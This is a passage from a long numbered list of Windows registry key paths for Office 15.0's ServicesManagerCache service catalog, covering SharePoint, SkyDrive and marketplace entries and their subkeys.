  726. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  727. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  728. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  729. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  730. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  731. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  732. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  733. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  734. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  735. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  736. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  737. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  738. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  739. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  740. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  741. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  742. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  743. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  744. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  745. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  746. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  747. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  748. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  749. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  750. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  751. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  752. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  753. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  754. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  755. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  756. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  757. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  758. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  759. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  760. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  761. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  762. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  763. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  764. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  765. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  766. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  767. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  768. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  769. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  770. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  771. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  772. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  773. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  774. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  775. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  776. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  777. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  778. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  779. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  780. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  781. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  782. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  783. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  784. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  785. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  786. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  787. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  788. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  789. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  790. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  791. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  792. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  793. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  794. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  795. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  796. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  797. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  798. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  799. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  800. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  801. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  802. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  803. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  804. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  805. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  806. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  807. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  808. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  809. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  810. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  811. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  812. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  813. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  814. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  815. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  816. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  817. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  818. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  819. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  820. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  821. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  822. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  823. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  824. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  825. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  826. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  827. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  828. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  829. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  830. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  831. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  832. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  833. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  834. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  835. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  836. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  837. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  838. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  839. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  840. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  841. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  842. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  843. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  844. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  845. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  846. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  847. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  848. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  849. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  850. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  851. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  852. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  853. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  854. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  855. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  856. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  857. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  858. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  859. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  860. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  861. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  862. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  863. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  864. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  865. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  866. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  867. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  868. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  869. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  870. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  871. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  872. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  873. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  874. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  875. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  876. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  877. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  878. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  879. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  880. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  881. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  882. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  883. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  884. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  885. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  886. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  887. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  888. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
